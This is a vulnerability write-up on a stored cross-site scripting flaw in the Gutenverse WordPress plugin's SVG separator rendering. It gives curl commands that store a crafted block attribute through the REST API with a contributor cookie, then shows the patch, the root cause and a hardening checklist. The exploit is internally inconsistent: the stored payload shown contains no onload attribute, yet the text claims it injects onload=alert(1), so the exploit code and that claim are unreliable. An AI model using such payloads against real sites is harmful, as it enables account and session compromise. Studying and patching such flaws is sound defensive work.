The Exploit
Requires an authenticated contributor-level user or above to store a malicious separatorIconSVG block attribute.
## store the malicious separatorIconSVG payload in a Gutenberg block
curl -sk -X POST "https://target.example/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-H "Cookie: wordpress_logged_in_abcdef123456=USERSESSION" \
-d '{"title":"XSS test","status":"publish","content":"<!-- wp:gutenverse/section {\"separatorIconSVG\":\"M0,0\\\" /-->"}'
## trigger the stored payload by loading the rendered page
curl -sk "https://target.example/?p=123" | grep -o 'onload=alert(1)'
The first request stores a gutenverse/section block with a crafted separatorIconSVG attribute. The second request fetches the rendered page and shows the injected onload=alert(1) attribute inside the SVG <path> element, meaning the payload survives storage and is reflected in page HTML.
What the Patch Did
Before:
$svg = '<svg class="guten-shape-fill" viewBox="' . esc_attr( $viewbox ) . '" preserveAspectRatio="none" fill="none" height="' . esc_attr( $height ) . '" width="' . esc_attr( $width ) . '" xmlns="http://www.w3.org/2000/svg">';
$svg .= '<path d="' . $d . '" fill="' . esc_attr( $fill ) . '"/>';
After:
$svg = '<svg class="guten-shape-fill" viewBox="' . esc_attr( $viewbox ) . '" preserveAspectRatio="none" fill="none" height="' . esc_attr( $height ) . '" width="' . esc_attr( $width ) . '" xmlns="http://www.w3.org/2000/svg">';
$svg .= '<path d="' . esc_attr( $d ) . '" fill="' . esc_attr( $fill ) . '"/>';
The patch adds esc_attr() output escaping around the SVG path data variable $d before it is injected into the HTML attribute context.
Root Cause
This is CWE-79: stored cross-site scripting. An attacker-controlled separatorIconSVG value enters the page as a block attribute in the Gutenverse section block, is preserved in post content, and later reaches the SVG render sink in class-section.php where it is concatenated into <path d="..."> without escaping. The code assumes the SVG path data is safe, so it crosses the HTML attribute boundary unchecked and allows quote-breaking injection.
Why It Works
The single load-bearing fix is esc_attr( $d ). Without that line, the raw separatorIconSVG string can close the d="..." attribute and add new attributes like onload, making the XSS exploitable. The other esc_attr() calls on attributes like viewBox, height, width, and fill are consistent hardening for the surrounding SVG markup, but the payload only succeeds because $d was left unescaped.
Hardening Checklist
- Escape all values rendered into HTML attributes with
esc_attr()in block render callbacks. - Sanitize block attributes on save or registration using
sanitize_text_field()or a custom validator before storing them. - When rendering user-provided SVG, apply
wp_kses_post()or a strict SVG whitelist before outputting markup. - Treat block attribute JSON as untrusted input and do not rely on editor-side encoding alone.
- Audit every SVG rendering path for mixed string concatenation into
d,path, orsvgattribute contexts.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-2868